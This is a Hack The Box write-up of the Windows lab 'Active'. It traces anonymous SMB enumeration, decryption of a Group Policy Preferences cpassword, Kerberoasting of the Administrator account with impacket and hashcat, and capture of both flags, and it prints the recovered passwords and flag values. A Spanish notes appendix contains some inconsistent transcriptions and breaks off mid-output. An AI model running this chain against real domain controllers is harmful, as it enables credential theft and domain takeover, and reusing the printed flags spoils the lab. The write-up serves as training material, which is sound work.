



HACK THE BOX · WINDOWS

Active

Complete technical writeup ·
reproducible exploitation

Active machine solved

HTB Active · 2026-04-17

Author	Ramon Santos Sabarich / r4ms4nt
Type	Complete, archivable technical report
Objective	Document enumeration, GPP, Kerberoasting, user and root with clear, reusable traceability

Resolution date 2026-04-17



Standardized technical report for archiving, reference, and traceability.

READING GUIDE

Table of contents

Complete technical report for the resolution of the Active machine. The document presents the sequence of preparation, enumeration, exploitation, and technical closure in a structure designed for reading, archiving, and reference.

1. Laboratory preparation and case startup
2. Initial reconnaissance and domain controller profile
3. Local domain resolution
4. Anonymous SMB enumeration
5. Review of the Replication share
6. Groups.xml finding and GPP exposure
7. cpassword decryption and credential recovery
8. Validation of SVC_TGS over SMB
9. Obtaining user.txt
10. Kerberos enumeration and useful SPN detection
11. TGS request for Administrator
12. Offline cracking of the Kerberos hash
13. Validation of the Administrator credential
14. Obtaining root.txt
15. Final technical summary
16. Appendix A — Original notes preserved in full

Important precision note

Two very relevant technical lines appear in this laboratory, and they should remain clearly separated for future reference:

- **Validated initial exposure:** anonymous access to SMB resources on a domain controller.
- **Later critical finding:** Groups.xml with cpassword, matching the historical **Group Policy Preferences** issue associated with **MS14-025 / CVE-2014-1812**.
- **Validated later escalation:** use of a **valid domain account** to request a TGS and perform **Kerberoasting** against Administrator.

This nuance should also be fixed clearly:

- in this case, the Kerberos line exploited was **Kerberoasting**, not **AS-REP Roasting**;
- the reason is that there was already a **valid domain account** (SVC_TGS) available to query SPNs and request the corresponding TGS.

1. Laboratory preparation and case startup

Initial context

The starting point is a **Hack The Box** laboratory with the VPN already connected, using a custom startup script called `Inici-HTB`, designed to prepare the baseline environment for any machine.

Startup script functions

- set the target in Polybar through `set target`
- create the case base structure with `mk tm`
- generate working directories
- check connectivity with `ping`
- attempt quick identification with `whichSystem.py`
- run `nmap -p-`
- extract open ports
- run `nmap -sCV` against the detected ports
- generate the initial summary and next step

Generated structure

```
ACTIVE.  
■■■ content  
■■■ exploits  
■■■ nmap
```

```
■ ■■■ allPorts
■ ■■■ extractPorts.txt
■ ■■■ nmap_tcp_services.txt
■ ■■■ ping.txt
■ ■■■ whichSystem.txt
■■■ notes
  ■■■ 00_resumen_inicial.md
  ■■■ 01_siguiete_paso.txt
```

Script execution

```
Inici-HTB ACTIVE 10.129.22.210
```

2. Initial reconnaissance and domain controller profile

Basic connectivity

```
PING 10.129.22.210 (10.129.22.210) 56(84) bytes of data.
64 bytes from 10.129.22.210: icmp_seq=1 ttl=127 time=50.4 ms
```

Useful interpretation: connectivity is confirmed and the TTL points to a Windows system.

Quick identification

```
10.129.22.210 (ttl -> 127): Windows
```

Full port scan

Among others, the following open ports are detected:

- 53/tcp → DNS
- 88/tcp → Kerberos
- 135/tcp → MSRPC
- 139/tcp → NetBIOS
- 389/tcp → LDAP
- 445/tcp → SMB
- 464/tcp → kpasswd
- 593/tcp → RPC over HTTP
- 636/tcp → LDAPS
- 3268/tcp → Global Catalog LDAP
- 3269/tcp → Global Catalog LDAPS
- 5722/tcp → DFSR / RPC
- 9389/tcp → ADWS
- 47001/tcp → WinRM / HTTPAPI

- several high MSRPC ports

Service scan

The nmap -sCV output leaves a very clear set of signals:

```
389/tcp open ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3268/tcp open ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
47001/tcp open http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
```

Phase conclusion

From the beginning, the machine presents a clear **Active Directory Domain Controller** profile:

- identified domain: active.htb
- hostname: DC
- dominant surface: **AD / SMB / LDAP / Kerberos**
- SMB signing enabled and required

3. Local domain resolution

Since the domain was already validated during the initial enumeration, an entry is added to /etc/hosts.

Add active.htb

```
echo '10.129.22.210 active.htb' | sudo tee -a /etc/hosts
```

Resolution check

```
getent hosts active.htb
```

Result:

```
10.129.22.210 active.htb
```

Goal of this step: work against the real domain name of the machine, not only against the IP address.

4. Anonymous SMB enumeration

With resolution already configured, the next test is whether the DC exposes SMB resources accessible without credentials.

Share enumeration

```
smbclient -L //active.htb -N
```

Observed result

Anonymous login successful

Sharename	Type	Comment
-----	----	-----
ADMIN\$	Disk	Remote Admin
C\$	Disk	Default share
IPC\$	IPC	Remote IPC
NETLOGON	Disk	Logon server share
Replication	Disk	
SYSVOL	Disk	Logon server share
Users	Disk	

The final SMB1 error does not invalidate the main finding. The important point is that there is a **useful null session** and shared resources can be listed.

Dominant finding in this phase

The most interesting share becomes:

- Replication

because, in a domain controller environment, its name points to potentially very valuable content.

5. Review of the Replication share

Recursive enumeration

```
smbclient //active.htb/Replication -N -c 'recurse;ls'
```

Relevant findings

Inside the share, several especially important paths appear:

- active.htb\Policies
- active.htb\DfsrPrivate
- active.htb\scripts

And, inside Policies, a clearly useful path is observed:

```
active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
```

Other secondary artifacts are also noted:

- Registry.pol
- GptTmpl.inf

Useful interpretation

The combination of:

- anonymous SMB access,
- the Replication share,
- visible domain policies,
- and the presence of Groups.xml

makes this path the best immediate candidate in the case.

6. Groups.xml finding and GPP exposure

File download

```
cd /home/r4mon/pentest/targets/HTB/easy/ACTIVE/content && smbclient //active.htb/Replication -N -c 'cd "active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups"; get Groups.xml'
```

Observed content

```
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"
name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06"
uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description=""
cpassword="edBSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMEx0sQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
```

Technical conclusion

This finding strongly matches the historical **Group Policy Preferences passwords** issue, documented in **MS14-025 / CVE-2014-1812**.

The important point is not just that this file exists, but that it contains:

- a domain user: active.htb\SVC_TGS
- a cpassword value

That cpassword becomes the dominant finding of the case.

7. cpassword decryption and credential recovery

Decryption with gpp-decrypt

```
gpp-decrypt edBSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
```

Result

```
GPPstillStandingStrong2k18
```

Credential obtained

- username: active.htb\SVC_TGS
- password: GPPstillStandingStrong2k18

At this point, this is no longer just exposed configuration, but a **real credential** recovered from the group policy.

8. Validation of SVC_TGS over SMB

Permission check with smbmap

```
smbmap -H 10.129.22.210 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
```

Observed result

Disk	Permissions	Comment
----	-----	-----
ADMIN\$	NO ACCESS	Remote Admin
C\$	NO ACCESS	Default share
IPC\$	NO ACCESS	Remote IPC
NETLOGON	READ ONLY	Logon server share
Replication	READ ONLY	
SYSVOL	READ ONLY	Logon server share
Users	READ ONLY	

Useful interpretation

The SVC_TGS account is not administrative, but it does allow reading:

- NETLOGON
- Replication
- SYSVOL

- Users

The best immediate follow-up is to review that user's own profile inside Users.

Access with smbclient

```
smbclient //10.129.22.210/Users -U active.htb\\SVC_TGS%GPPstillStandingStrong2k18
```

Internal navigation

```
smb: \> ls
```

```
...
```

```
SVC_TGS                                D                0   Sat Jul 21 17:16:32 2018
```

```
smb: \> cd SVC_TGS
```

```
smb: \SVC_TGS\> ls
```

```
...
```

```
Desktop                                D                0   Sat Jul 21 17:14:42 2018
```

9. Obtaining user.txt

Access to the SVC_TGS desktop

```
smb: \SVC_TGS\> cd Desktop
```

```
smb: \SVC_TGS\Desktop\> ls
```

```
user.txt                               AR                34   Fri Apr 17 16:47:36 2026
```

Download and read

```
smb: \SVC_TGS\Desktop\> get user.txt
```

```
getting file \SVC_TGS\Desktop\user.txt of size 34 as user.txt
```

```
smb: \SVC_TGS\Desktop\> !cat user.txt
```

```
bed05b723496f102483aaf7bebac6238
```

User flag

```
bed05b723496f102483aaf7bebac6238
```

Methodological observation

This verifies an important detail of the case:

- smbclient allows navigation through SMB shares;
- it is not a system shell;
- to read files, the useful flow was:

1. get <file> 2. !cat <file>

10. Kerberos enumeration and useful SPN detection

With a valid domain account already available, the next logical work line becomes Kerberos.

SPN enumeration

```
impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip 10.129.22.210
```

Observed result

ServicePrincipalName	Name	MemberOf	Delegation
active/CIFS:445	Administrator	CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb	2018-07-18
21:06:40.351723	2026-04-17 16:47:38.977345		

Dominant finding

There is an SPN associated with:

- Administrator

This opens a clear **Kerberoasting** path.

11. TGS request for Administrator

Specific TGS request

```
impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip 10.129.22.210 -request -user Administrator
```

Relevant result

The tool returns a line in this format:

```
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$...
```

That result confirms that a **valid TGS for offline cracking** has been obtained.

Hash preservation

The hash is saved locally to keep traceability:

- /home/r4mon/pentest/targets/HTB/easy/ACTIVE/content/administrator_tgs.hash

12. Offline cracking of the Kerberos hash

Hashcat mode check

```
hashcat --help | grep 13100
```

Result:

```
13100 | Kerberos 5, etype 23, TGS-REP
```

rockyou check

```
ls -lh /usr/share/wordlists/rockyou.txt /usr/share/wordlists/rockyou.txt.gz 2>/dev/null
```

Result:

```
/usr/share/wordlists/rockyou.txt  
/usr/share/wordlists/rockyou.txt.gz
```

Hash cracking

```
hashcat -m 13100 -a 0 /home/r4mon/pentest/targets/HTB/easy/ACTIVE/content/administrator_tgs.hash  
/usr/share/wordlists/rockyou.txt
```

Observed result

```
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$...:Ticketmaster1968
```

And the final Hashcat status was:

```
Status.....: Cracked  
Recovered.....: 1/1 (100.00%)
```

Credential obtained

- username: Administrator
- password: Ticketmaster1968

This successfully closes the **Kerberoasting** phase.

13. Validation of the Administrator credential

Administrative access to C\$

```
smbclient //10.129.22.210/C$ -U active.htb\Administrator%Ticketmaster1968
```

Observed result

```
smb: \> ls
```

\$Recycle.Bin	DHS	0
Documents and Settings	DHSrn	0
pagefile.sys	AHS 5190320128	
PerfLogs	D	0
Program Files	DR	0
Program Files (x86)	DR	0
ProgramData	DHn	0
Recovery	DHSn	0
System Volume Information	DHS	0
Users	DR	0
Windows	D	0

Phase conclusion

The Administrator credential is not only cracked: it is also **validated over SMB with real access to the administrative C\$ share**.

Navigation to the Administrator desktop

```
smb: \> cd Users\Administrator\Desktop
smb: \Users\Administrator\Desktop\> ls
root.txt          AR          34  Fri Apr 17 16:47:36 2026
```

14. Obtaining root.txt

Download and read

```
smb: \Users\Administrator\Desktop\> get root.txt
getting file \Users\Administrator\Desktop\root.txt of size 34 as root.txt
```

```
smb: \Users\Administrator\Desktop\> !cat root.txt
7aab38b5d931524e961a3a8a44d7a2ac
```

Root flag

```
7aab38b5d931524e961a3a8a44d7a2ac
```

This completes the machine resolution.

15. Final technical summary

Complete validated chain

- 1 Laboratory startup with Inici-HTB
- 2 Initial enumeration and clear **Domain Controller** profile
- 3 Local resolution of active.htb

- 4 Anonymous SMB enumeration
- 5 Discovery of the Replication share
- 6 Groups.xml finding inside domain policies
- 7 Extraction of cpassword
- 8 Decryption with gpp-decrypt
- 9 Recovery of the SVC_TGS credential
- 10 Validation of SVC_TGS over SMB
- 11 Access to the Users share
- 12 Obtaining user.txt
- 13 Kerberos enumeration with GetUserSPNs
- 14 Detection of an SPN associated with Administrator
- 15 TGS request for Administrator
- 16 Offline cracking of the hash with hashcat -m 13100
- 17 Recovery of the password Ticketmaster1968
- 18 Administrative access to C\$
- 19 Download of root.txt
- 20 Obtaining the final flag

Flags

- user.txt → bed05b723496f102483aaf7bebac6238
- root.txt → 7aab38b5d931524e961a3a8a44d7a2ac

Main lesson of the case

The **Active** machine leaves a very clean and reusable chain:

- **anonymous SMB access** allows replicated policies to be reviewed,
- a **Group Policy Preference** exposes a cpassword,
- that credential gives useful domain access,
- the resulting account allows **Kerberoasting**,
- and offline cracking of the TGS ends in a **domain administrator credential**.

It is a very good case for fixing this relationship:

Anonymous SMB → exposed GPP → domain account → Kerberoasting → Administrator → root flag

16. Appendix A — Technical log appendix

The following appendix preserves the full operational record included in the source document.

From this point onward, the full original material is preserved without deleting content.

A partir de aquí se conserva el material original completo, sin borrar contenido.

Iniciamos el laboratorio de trabajo de la máquina ACTIVE de HTB.

Conectados a la VPN de HTB, arrancamos con un script que me he generado para el inicio de cualquier máquina de HTB, este script hace lo siguiente:

```
- fija objetivo con settarget a la polybar de mi escritorio
- crea entorno de máquina con mktm (otro script de elaboración propia) que genera lo siguiente:
<Maquina>/
■■■■ content/
■■■■ exploits/
■■■■ nmap/
■■■■ notes/
- genera estructura de carpetas
- hace ping
- intenta detectar sistema con whichSystem.py
- lanza nmap -p-
- extrae puertos abiertos
- lanza nmap -sCV sobre esos puertos
- genera resumen inicial y siguiente paso
```

Ejecutamos el script de inicio y obtenemos lo siguiente:

```
ACTIVE.
■■■■ content
■■■■ exploits
■■■■ nmap
■ ■■■■ allPorts
■ ■■■■ extractPorts.txt
■ ■■■■ nmap_tcp_services.txt
■ ■■■■ ping.txt
■ ■■■■ whichSystem.txt
■■■■ notes
    ■■■■ 00_resumen_inicial.md
    ■■■■ 01_siguiente_paso.txt
```

```
> Inici-HTB ACTIVE 10.129.22.210
[*] Fijando objetivo en Polybar con settarget
[*] Preparando directorio base
[*] Comprobando conectividad inicial
PING 10.129.22.210 (10.129.22.210) 56(84) bytes of data.
64 bytes from 10.129.22.210: icmp_seq=1 ttl=127 time=50.4 ms
```

```
--- 10.129.22.210 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 50.357/50.357/50.357/0.000 ms
[*] Intentando identificación rápida con whichSystem.py
```

```
10.129.22.210 (ttl -> 127): Windows
```

```
[*] Lanzando escaneo completo de puertos
```

```
[sudo] contraseña para r4mon:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-17 16:57 CEST
Initiating SYN Stealth Scan at 16:57
Scanning 10.129.22.210 [65535 ports]
Discovered open port 135/tcp on 10.129.22.210
Discovered open port 139/tcp on 10.129.22.210
Discovered open port 445/tcp on 10.129.22.210
Discovered open port 53/tcp on 10.129.22.210
Discovered open port 3268/tcp on 10.129.22.210
Discovered open port 49169/tcp on 10.129.22.210
Discovered open port 9389/tcp on 10.129.22.210
Discovered open port 47001/tcp on 10.129.22.210
Discovered open port 3269/tcp on 10.129.22.210
Discovered open port 49158/tcp on 10.129.22.210
Discovered open port 49152/tcp on 10.129.22.210
Discovered open port 464/tcp on 10.129.22.210
Discovered open port 49153/tcp on 10.129.22.210
Discovered open port 593/tcp on 10.129.22.210
Discovered open port 49154/tcp on 10.129.22.210
Discovered open port 88/tcp on 10.129.22.210
Discovered open port 49167/tcp on 10.129.22.210
Discovered open port 49157/tcp on 10.129.22.210
Discovered open port 389/tcp on 10.129.22.210
Discovered open port 49155/tcp on 10.129.22.210
Discovered open port 636/tcp on 10.129.22.210
Discovered open port 5722/tcp on 10.129.22.210
Discovered open port 49162/tcp on 10.129.22.210
Completed SYN Stealth Scan at 16:57, 13.72s elapsed (65535 total ports)
Nmap scan report for 10.129.22.210
Host is up, received user-set (0.046s latency).
Scanned at 2026-04-17 16:57:26 CEST for 14s
Not shown: 65049 closed tcp ports (reset), 463 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
```

PORT	STATE	SERVICE	REASON
53/tcp	open	domain	syn-ack ttl 127
88/tcp	open	kerberos-sec	syn-ack ttl 127
135/tcp	open	msrpc	syn-ack ttl 127
139/tcp	open	netbios-ssn	syn-ack ttl 127
389/tcp	open	ldap	syn-ack ttl 127
445/tcp	open	microsoft-ds	syn-ack ttl 127
464/tcp	open	kpasswd5	syn-ack ttl 127
593/tcp	open	http-rpc-epmap	syn-ack ttl 127
636/tcp	open	ldapssl	syn-ack ttl 127
3268/tcp	open	globalcatLDAP	syn-ack ttl 127
3269/tcp	open	globalcatLDAPssl	syn-ack ttl 127
5722/tcp	open	msdfs	syn-ack ttl 127
9389/tcp	open	adws	syn-ack ttl 127
47001/tcp	open	winrm	syn-ack ttl 127
49152/tcp	open	unknown	syn-ack ttl 127
49153/tcp	open	unknown	syn-ack ttl 127
49154/tcp	open	unknown	syn-ack ttl 127
49155/tcp	open	unknown	syn-ack ttl 127
49157/tcp	open	unknown	syn-ack ttl 127
49158/tcp	open	unknown	syn-ack ttl 127
49162/tcp	open	unknown	syn-ack ttl 127

```
49167/tcp open  unknown      syn-ack ttl 127
49169/tcp open  unknown      syn-ack ttl 127
```

```
Read data files from: /usr/bin/./share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.88 seconds
    Raw packets sent: 71415 (3.142MB) | Rcvd: 65072 (2.603MB)
[*] Extrayendo puertos abiertos
[*] Puertos abiertos detectados: 53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49162,49167,49169
[*] Lanzando escaneo de servicios
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-17 16:57 CEST
Nmap scan report for 10.129.22.210
Host is up (0.047s latency).
```

PORT	STATE	SERVICE	VERSION
53/tcp	open	domain	Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
dns-nsid:			
_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)			
88/tcp	open	kerberos-sec	Microsoft Windows Kerberos (server time: 2026-04-17 14:57:47Z)
135/tcp	open	msrpc	Microsoft Windows RPC
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
389/tcp	open	ldap	Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp	open	microsoft-ds?	
464/tcp	open	kpasswd5?	
593/tcp	open	ncacn_http	Microsoft Windows RPC over HTTP 1.0
636/tcp	open	tcpwrapped	
3268/tcp	open	ldap	Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp	open	tcpwrapped	
5722/tcp	open	msrpc	Microsoft Windows RPC
9389/tcp	open	mc-nmf	.NET Message Framing
47001/tcp	open	http	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
_http-server-header: Microsoft-HTTPAPI/2.0			
_http-title: Not Found			
49152/tcp	open	msrpc	Microsoft Windows RPC
49153/tcp	open	msrpc	Microsoft Windows RPC
49154/tcp	open	msrpc	Microsoft Windows RPC
49155/tcp	open	msrpc	Microsoft Windows RPC
49157/tcp	open	ncacn_http	Microsoft Windows RPC over HTTP 1.0
49158/tcp	open	msrpc	Microsoft Windows RPC
49162/tcp	open	msrpc	Microsoft Windows RPC
49167/tcp	open	msrpc	Microsoft Windows RPC
49169/tcp	open	msrpc	Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows			

```
Host script results:
| smb2-security-mode:
|   2:1:0:
|_   Message signing enabled and required
| smb2-time:
|   date: 2026-04-17T14:58:42
|_   start_date: 2026-04-17T14:46:36
```

```
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 70.34 seconds
```



```
[*] Resumen inicial generado en: /home/r4mon/pentest/targets/HTB/easy/ACTIVE/notes/00_resumen_inicial.md
[*] Siguiente paso generado en: /home/r4mon/pentest/targets/HTB/easy/ACTIVE/notes/01_siguiente_paso.txt
[*] Flujo inicial completado
```

Hechos verificados:

- La conectividad base está confirmada: el objetivo 10.129.22.210 respondió a ping con TTL 127.
- La identificación rápida y nmap apuntan a Windows.
- El escaneo muestra un conjunto de puertos muy típico de Active Directory: 53, 88, 389, 445, 464, 636, 3268, 3269, 9389, 47001 y varios MSRPC altos.
- nmap -sCV identifica el dominio active.htb y el host DC.
- LDAP responde como Microsoft Windows Active Directory LDAP con dominio active.htb.
- SMB tiene signing enabled and required.
- Se ha generado correctamente la estructura del caso, los ficheros de nmap y las notas iniciales.

Asumimos que:

- La máquina es, con alta probabilidad, un controlador de dominio.
- La rama principal más lógica ahora mismo es enumeración Windows / AD, no web.
- WinRM en 47001/tcp queda anotado, pero todavía no hay evidencia de acceso útil.

Creo que toca tratar la máquina como entorno AD desde el principio.

Añadimos la entrada de active.htb en /etc/hosts.

```
> echo '10.129.22.210 active.htb' | sudo tee -a /etc/hosts
[sudo] contraseña para r4mon:
10.129.22.210 active.htb
```

El siguiente paso único es comprobar la resolución local del nombre.

```
> getent hosts active.htb
10.129.22.210 active.htb
```

Vamos a probar si active.htb expone shares SMB accesibles sin credenciales.

```
Anonymous login successful
```

Sharename	Type	Comment
-----	----	-----
ADMIN\$	Disk	Remote Admin
C\$	Disk	Default share
IPC\$	IPC	Remote IPC
NETLOGON	Disk	Logon server share
Replication	Disk	
SYSVOL	Disk	Logon server share
Users	Disk	

```
Reconnecting with SMB1 for workgroup listing.
```

```
do_connect: Connection to active.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
```

```
Unable to connect with SMB1 -- no workgroup available
```

Lo que extraigo de esta salida es:

- Hay sesión nula/anónima útil en SMB.
- El share Replication destaca inmediatamente y pasa a ser el hallazgo dominante.

Vamos a expresar Replication primero.

```
> smbclient //active.htb/Replication -N -c 'recurse;ls'
```

Anonymous login successful

.	D	0	Sat Jul 21 12:37:44 2018
..	D	0	Sat Jul 21 12:37:44 2018
active.htb	D	0	Sat Jul 21 12:37:44 2018

\active.htb

.	D	0	Sat Jul 21 12:37:44 2018
..	D	0	Sat Jul 21 12:37:44 2018
DfsrPrivate	DHS	0	Sat Jul 21 12:37:44 2018
Policies	D	0	Sat Jul 21 12:37:44 2018
scripts	D	0	Wed Jul 18 20:48:57 2018

\active.htb\DfsrPrivate

.	DHS	0	Sat Jul 21 12:37:44 2018
..	DHS	0	Sat Jul 21 12:37:44 2018
ConflictAndDeleted	D	0	Wed Jul 18 20:51:30 2018
Deleted	D	0	Wed Jul 18 20:51:30 2018
Installing	D	0	Wed Jul 18 20:51:30 2018

\active.htb\Policies

.	D	0	Sat Jul 21 12:37:44 2018
..	D	0	Sat Jul 21 12:37:44 2018
{31B2F340-016D-11D2-945F-00C04FB984F9}	D	0	Sat Jul 21 12:37:44 2018
{6AC1786C-016F-11D2-945F-00C04FB984F9}	D	0	Sat Jul 21 12:37:44 2018

\active.htb\scripts

.	D	0	Wed Jul 18 20:48:57 2018
..	D	0	Wed Jul 18 20:48:57 2018

\active.htb\DfsrPrivate\ConflictAndDeleted

.	D	0	Wed Jul 18 20:51:30 2018
..	D	0	Wed Jul 18 20:51:30 2018

\active.htb\DfsrPrivate\Deleted

.	D	0	Wed Jul 18 20:51:30 2018
..	D	0	Wed Jul 18 20:51:30 2018

\active.htb\DfsrPrivate\Installing

.	D	0	Wed Jul 18 20:51:30 2018
..	D	0	Wed Jul 18 20:51:30 2018

\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}

.	D	0	Sat Jul 21 12:37:44 2018
..	D	0	Sat Jul 21 12:37:44 2018
GPT.INI	A	23	Wed Jul 18 22:46:06 2018
Group Policy	D	0	Sat Jul 21 12:37:44 2018
MACHINE	D	0	Sat Jul 21 12:37:44 2018
USER	D	0	Wed Jul 18 20:49:12 2018

\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04FB984F9}

.	D	0	Sat Jul 21 12:37:44 2018
..	D	0	Sat Jul 21 12:37:44 2018
GPT.INI	A	22	Wed Jul 18 20:49:12 2018
MACHINE	D	0	Sat Jul 21 12:37:44 2018
USER	D	0	Wed Jul 18 20:49:12 2018

\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy

.	D	0	Sat Jul 21 12:37:44 2018
..	D	0	Sat Jul 21 12:37:44 2018
GPE.INI	A	119	Wed Jul 18 22:46:06 2018

\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE					
.	D	0	Sat Jul 21 12:37:44 2018		
..	D	0	Sat Jul 21 12:37:44 2018		
Microsoft	D	0	Sat Jul 21 12:37:44 2018		
Preferences	D	0	Sat Jul 21 12:37:44 2018		
Registry.pol	A	2788	Wed Jul 18 20:53:45 2018		
\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER					
.	D	0	Wed Jul 18 20:49:12 2018		
..	D	0	Wed Jul 18 20:49:12 2018		
\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04FB984F9}\MACHINE					
.	D	0	Sat Jul 21 12:37:44 2018		
..	D	0	Sat Jul 21 12:37:44 2018		
Microsoft	D	0	Sat Jul 21 12:37:44 2018		
\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04FB984F9}\USER					
.	D	0	Wed Jul 18 20:49:12 2018		
..	D	0	Wed Jul 18 20:49:12 2018		
\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft					
.	D	0	Sat Jul 21 12:37:44 2018		
..	D	0	Sat Jul 21 12:37:44 2018		
Windows NT	D	0	Sat Jul 21 12:37:44 2018		
\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences					
.	D	0	Sat Jul 21 12:37:44 2018		
..	D	0	Sat Jul 21 12:37:44 2018		
Groups	D	0	Sat Jul 21 12:37:44 2018		
\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04FB984F9}\MACHINE\Microsoft					
.	D	0	Sat Jul 21 12:37:44 2018		
..	D	0	Sat Jul 21 12:37:44 2018		
Windows NT	D	0	Sat Jul 21 12:37:44 2018		
\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT					
.	D	0	Sat Jul 21 12:37:44 2018		
..	D	0	Sat Jul 21 12:37:44 2018		
SecEdit	D	0	Sat Jul 21 12:37:44 2018		
\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups					
.	D	0	Sat Jul 21 12:37:44 2018		
..	D	0	Sat Jul 21 12:37:44 2018		
Groups.xml	A	533	Wed Jul 18 22:46:06 2018		
\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT					
.	D	0	Sat Jul 21 12:37:44 2018		
..	D	0	Sat Jul 21 12:37:44 2018		
SecEdit	D	0	Sat Jul 21 12:37:44 2018		
\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit					
.	D	0	Sat Jul 21 12:37:44 2018		
..	D	0	Sat Jul 21 12:37:44 2018		
GptTmpl.inf	A	1098	Wed Jul 18 20:49:12 2018		
\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit					
.	D	0	Sat Jul 21 12:37:44 2018		
..	D	0	Sat Jul 21 12:37:44 2018		
GptTmpl.inf	A	3722	Wed Jul 18 20:49:12 2018		
5217023 blocks of size 4096. 279206 blocks available					

El share Replication es un recurso de DFSR (Distributed File System Replication) que se utiliza para replicar datos entre controladores de dominio. El hecho de que sea accesible sin autenticación es un hallazgo importante, ya que puede contener información sensible o ser utilizado para escalar privilegios.

- Dentro de Replication, el directorio `Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml` es especialmente interesante, ya que puede contener información sobre grupos y usuarios del dominio.
- El directorio `Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf` también es relevante, ya que puede contener configuraciones de seguridad que podrían ser explotables.

Vamos a ver si en Groups.xml hay algo útil:

```
cd /home/r4mon/pentest/targets/HTB/easy/ACTIVE/content && smbclient //active.htb/Replication -N -c 'cd "active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups"; get Groups.xml'
```

[illegible]

Lo que hemos encontrado encaja muy fuerte con el problema histórico de Group Policy Preferences passwords, concretamente MS14-025 / CVE-2014-1812. Microsoft retiró la posibilidad de guardar usuario y contraseña en preferencias como Local Users and Groups porque se almacenaban de forma insegura, y NVD describe justamente que esa debilidad podía permitir recuperar credenciales distribuidas por políticas.

- Hallazgo dominante actual: Groups.xml con cpassword para active.htb\SVC_TGS.

Ahora que ya tenemos las credenciales obtenidas en Groups.xml, vamos a validar su reutilización sobre SMB y a ver donde nos lleva.

Desciframos el valor de cpassword con el script qpp-decrypt.

```
> gpp-decrypt edBSh0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMex0sQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStronga2k18
```

Probamos las credenciales en SMB con SMBMAP.

```
> smbmap -H 10.129.22.210 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
[+] IP: 10.129.22.210:445      Name: active.htb
```

Disk	Permissions	Comment
----	-----	-----
ADMIN\$	NO ACCESS	Remote Admin
C\$	NO ACCESS	Default share
